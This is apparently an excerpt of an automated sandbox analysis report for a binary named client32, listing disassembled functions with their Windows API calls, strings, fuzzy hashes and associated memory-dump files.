
Yara matches

Similarity

API ID: CriticalSection$Enter_free$CloseControlCreateDecrementDeviceErrorEventHandleHeaderInterlockedLastLeaveObjectSingleUnprepareWaitwave
String ID:
API String ID: 705253285-0
Opcode ID: 2ffaf857092779b4cc8c6dc948aa08485a8b39598cc2e1fcd4f28cf9cf4d7f7e
Instruction ID: ec5bb7023ba9694b1826725806baee6a54caa52fbc33dd5691a93a0cc33b1c6d
Opcode Fuzzy Hash: 2ffaf857092779b4cc8c6dc948aa08485a8b39598cc2e1fcd4f28cf9cf4d7f7e
Instruction Fuzzy Hash: C111C27A900B16ABE311CF60CC88BEFB7ECAF48358F004919FA2692141D370B540CB61

Function 110CB5D0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 49COMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,00000475), ref: 110CB5E0
GetWindowTextLengthA.USER32(00000000), ref: 110CB5E7
GetDlgItemTextA.USER32(?,00000475,00000000,00000001), ref: 110CB605
_free.LIBCMT ref: 110CB617

Part of subcall function 1115F3B5: HeapFree.KERNEL32(00000000,00000000,?,11167F76,00000000,?,110B7069), ref: 1115F3CB
Part of subcall function 1115F3B5: GetLastError.KERNEL32(00000000,?,11167F76,00000000,?,110B7069), ref: 1115F3DD

Part of subcall function 110290F0: GetLastError.KERNEL32(?,?), ref: 1102910C
Part of subcall function 110290F0: wsprintfA.USER32 ref: 11029157
Part of subcall function 110290F0: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11029193
Part of subcall function 110290F0: ExitProcess.KERNEL32 ref: 110291A9

Strings

IsA(), xrefs: 110CB635
e:\nsmsrc\nsm\1210\1210f\ctl32\NSMString.h, xrefs: 110CB630

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: ErrorItemLastText$ExitFreeHeapLengthMessageProcessWindow_freewsprintf
String ID: IsA()$e:\nsmsrc\nsm\1210\1210f\ctl32\NSMString.h
API String ID: 251526942-3415836059
Opcode ID: 30e1416d43cb31bcb86b456da6b03d150e1532b19d8988f4aa330addae1a1f4d
Instruction ID: 0eb6a058222da800fe12992da5caab4c5bd0fe2efc99a90d0edb73e055c5ac9e
Opcode Fuzzy Hash: 30e1416d43cb31bcb86b456da6b03d150e1532b19d8988f4aa330addae1a1f4d
Instruction Fuzzy Hash: CA01AD7AA00517BBD740DB99DC88D9FF3ADEF892583148120FA2887200DB34F9158BE2

Function 1101D350 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 41registrywindowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 1101D35E
LoadIconA.USER32(00000000,0000139A), ref: 1101D3AF
LoadCursorA.USER32(00000000,00007F00), ref: 1101D3BF
RegisterClassExA.USER32(00000030), ref: 1101D3E1
GetLastError.KERNEL32 ref: 1101D3E7

Strings

0, xrefs: 1101D36C

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Load$ClassCursorErrorIconLastRegister_memset
String ID: 0
API String ID: 430917334-4108050209
Opcode ID: 197adc6d2d185478f28bbd981e4be0813fa150b943be2939de94797b805e9323
Instruction ID: 2890e39c8948161dcf3a4c2706354c0f925fee5346d150246dd1548a136c71b7
Opcode Fuzzy Hash: 197adc6d2d185478f28bbd981e4be0813fa150b943be2939de94797b805e9323
Instruction Fuzzy Hash: D0018074D0131AABDB00EFE0C859B9DFBB4AB04308F508529F614BA284E7B511048B96

Function 11003340 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 35windowCOMMON

Download Yara Rule

APIs

LoadMenuA.USER32(00000000,00002EFD), ref: 1100334D
GetSubMenu.USER32(00000000,00000000), ref: 11003373
DestroyMenu.USER32(00000000), ref: 110033A2

Part of subcall function 110290F0: GetLastError.KERNEL32(?,?), ref: 1102910C
Part of subcall function 110290F0: wsprintfA.USER32 ref: 11029157
Part of subcall function 110290F0: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11029193
Part of subcall function 110290F0: ExitProcess.KERNEL32 ref: 110291A9

Strings

..\CTL32\annotate.cpp, xrefs: 1100335E, 11003384
hMenu, xrefs: 11003363
hSub, xrefs: 11003389

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Menu$DestroyErrorExitLastLoadMessageProcesswsprintf
String ID: ..\CTL32\annotate.cpp$hMenu$hSub
API String ID: 468487828-934300333
Opcode ID: b6ebe3cb19516443c737b85c4bf5343541eb5ddabd7932daa3618922ae928d72
Instruction ID: 58cfccb6135285d2752e7502dd052a47240bf2dd06342519f2e5277968a08211
Opcode Fuzzy Hash: b6ebe3cb19516443c737b85c4bf5343541eb5ddabd7932daa3618922ae928d72
Instruction Fuzzy Hash: 79F05C3EF0062663C22352263C49F4FB7684BC1AB8F110071F910FA744FE11A00041FA

Function 11003430 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 35windowCOMMON

Download Yara Rule

APIs

LoadMenuA.USER32(00000000,00002EF1), ref: 1100343D
GetSubMenu.USER32(00000000,00000000), ref: 11003463
DestroyMenu.USER32(00000000), ref: 11003492

Part of subcall function 110290F0: GetLastError.KERNEL32(?,?), ref: 1102910C
Part of subcall function 110290F0: wsprintfA.USER32 ref: 11029157
Part of subcall function 110290F0: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11029193
Part of subcall function 110290F0: ExitProcess.KERNEL32 ref: 110291A9

Strings

..\CTL32\annotate.cpp, xrefs: 1100344E, 11003474
hMenu, xrefs: 11003453
hSub, xrefs: 11003479

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Menu$DestroyErrorExitLastLoadMessageProcesswsprintf
String ID: ..\CTL32\annotate.cpp$hMenu$hSub
API String ID: 468487828-934300333
Opcode ID: ecf5237d3c1ec1f70e787f245b5d29412aff373a2d4b3b6da9ac5f410c095a34
Instruction ID: 2e6e1d300c4266612bf4869b02bb9134ae399a8ea59526bbeac45393f23ca2b2
Opcode Fuzzy Hash: ecf5237d3c1ec1f70e787f245b5d29412aff373a2d4b3b6da9ac5f410c095a34
Instruction Fuzzy Hash: 5FF0553EF4026A63C61362263C49F8FB6688BC1AA8F120071FA10BE684FD20B00041FB

Function 11031440 Relevance: 9.2, APIs: 6, Instructions: 156fileCOMMON

Download Yara Rule

APIs

Part of subcall function 1110C4A0: _memset.LIBCMT ref: 1110C4D2

CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000080,00000000), ref: 11031494
GetFileSize.KERNEL32(00000000,00000000), ref: 110314B0
ReadFile.KERNEL32(?,00000000,?,?,00000000), ref: 110314D3
_memmove.LIBCMT ref: 11031527
CloseHandle.KERNEL32(?), ref: 11031563
CloseHandle.KERNEL32(?), ref: 110315C4

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: File$CloseHandle$CreateReadSize_memmove_memset
String ID:
API String ID: 845363514-0
Opcode ID: 6b6e9c007c11d9572d404fd9f833afc8f42ac5761e6d632b59b5e145f15c21bf
Instruction ID: f3b86de38a560134af6e2d620d743e83d5971917c983db1a0387e640a4d59ee1
Opcode Fuzzy Hash: 6b6e9c007c11d9572d404fd9f833afc8f42ac5761e6d632b59b5e145f15c21bf
Instruction Fuzzy Hash: E9514FB1E01219AFCB50CFA8D985A9EFBF9FF48318F108529E515E7240E731A901CB51

Function 11017730 Relevance: 9.1, APIs: 2, Strings: 4, Instructions: 88COMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 1101776C
CoUninitialize.OLE32 ref: 1101784C

Strings

PS/2, xrefs: 110177FE
USB, xrefs: 110177C6
Win32_PointingDevice, xrefs: 11017788
HID, xrefs: 110177E2

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: InitializeUninitialize
String ID: HID$PS/2$USB$Win32_PointingDevice
API String ID: 3442037557-1320232752
Opcode ID: 945b61195795daed44a5419f1403211bb583dbcc7a60dd783a52273aacfb2d47
Instruction ID: 4ae991e8b238cca573096b2fcc20bd372ce19027575c055cb203384996eb618e
Opcode Fuzzy Hash: 945b61195795daed44a5419f1403211bb583dbcc7a60dd783a52273aacfb2d47
Instruction Fuzzy Hash: 7E316D75A0062B9FDB21CF94CC41BEAB7B4EF09315F0044F5E919AB244EB74EA85CB91

Function 11087640 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 128COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,1117CF74,DC70C1FE,1117CF74,?,1104012D,00000000,1117EF18,000000FF,?,1108709A,00000001,?,1104012D), ref: 110876B0
_sprintf.LIBCMT ref: 1108774E
LeaveCriticalSection.KERNEL32(?), ref: 1108775A
LeaveCriticalSection.KERNEL32(00000000,?,1108709A,00000001,?,1104012D), ref: 11087793

Strings

Unable to allocate memory for key[%d] '%s', xrefs: 1108773F

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CriticalSection$Leave$Enter_sprintf
String ID: Unable to allocate memory for key[%d] '%s'
API String ID: 273088606-3198095033
Opcode ID: 7c9a0859369454fdf33db54d9b83683acc863e7b9ed55f9fc954e71a74ec5ade
Instruction ID: f224a597ec27af80e2b6c93b7afcd8661e7aa9ca0e5fc1b2bfdac02e021eeeac
Opcode Fuzzy Hash: 7c9a0859369454fdf33db54d9b83683acc863e7b9ed55f9fc954e71a74ec5ade
Instruction Fuzzy Hash: 7341B2B5E05A069FD705DF58D880BAAF7E9FF88304F108669E859C7344DB31E820CB91

Function 11033470 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 125windowCOMMON

Download Yara Rule

APIs

SendMessageA.USER32(?,00000146,00000000,00000000), ref: 110334C3
SendMessageA.USER32(?,00000149,00000000,00000000), ref: 110334E9
SendMessageA.USER32(?,00000148,00000000,?), ref: 1103350D
_strncmp.LIBCMT ref: 11033572

Strings

ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&')(.-_{}~., xrefs: 110334A5

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: MessageSend$_strncmp
String ID: ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&')(.-_{}~.
API String ID: 3653864897-2723064302
Opcode ID: bd44523ccd12641375facf51592b89295bfeb8cb24e0a09ba3e6b882b1ec2f72
Instruction ID: bc9ce7f87aeaad0c1939b1cc53b23d9fe1575812c47fb94f3614b61ec272b28a
Opcode Fuzzy Hash: bd44523ccd12641375facf51592b89295bfeb8cb24e0a09ba3e6b882b1ec2f72
Instruction Fuzzy Hash: 19410632E1425A5FD712CE748CC0BAAB7E99F81316F1446E5E919DF3D0EA31DA488B40

Function 110331B0 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 110COMMON

Download Yara Rule

APIs

_strncpy.LIBCMT ref: 110331C4
_strncpy.LIBCMT ref: 11033204
wsprintfA.USER32 ref: 11033272
_strncpy.LIBCMT ref: 110332CA

Strings

%s (%s), xrefs: 11033269

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: _strncpy$wsprintf
String ID: %s (%s)
API String ID: 2895084632-1363028141
Opcode ID: 41cf12a399e40223a309384de66e6f5f00fee422c91aa36a5002e1312780ba24
Instruction ID: 6d4a293539ff99ff9d91cd4089b7baa119477a06ea1ce5901e9509b66a7a6bff
Opcode Fuzzy Hash: 41cf12a399e40223a309384de66e6f5f00fee422c91aa36a5002e1312780ba24
Instruction Fuzzy Hash: 4731F374E143469FEB11CF24DCC4BA7BBE8AF85309F004968E9458B382E7B4E514CBA1

Function 110EB160 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 101registryCOMMON

Download Yara Rule

APIs

RegQueryValueExA.ADVAPI32(?,?,00000000,?,?,?,00000000,00000000,75C04C70), ref: 110EB1B1
_free.LIBCMT ref: 110EB1CC

Part of subcall function 1115F3B5: HeapFree.KERNEL32(00000000,00000000,?,11167F76,00000000,?,110B7069), ref: 1115F3CB
Part of subcall function 1115F3B5: GetLastError.KERNEL32(00000000,?,11167F76,00000000,?,110B7069), ref: 1115F3DD

RegQueryValueExA.ADVAPI32(000007FF,?,00000000,?,00000000,000007FF), ref: 110EB20A
_free.LIBCMT ref: 110EB293

Strings

Error %d getting %s, xrefs: 110EB24D

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: QueryValue_free$ErrorFreeHeapLast
String ID: Error %d getting %s
API String ID: 3888477750-2709163689
Opcode ID: 11f0d30aa3f02123455d4450b7bd0329a115d60e4b75bed00ccc8902a962dd4a
Instruction ID: 4c35e499aaf5ad9a009ae928ade364ef1dd2f983720d507f3f6301ea2f5437f7
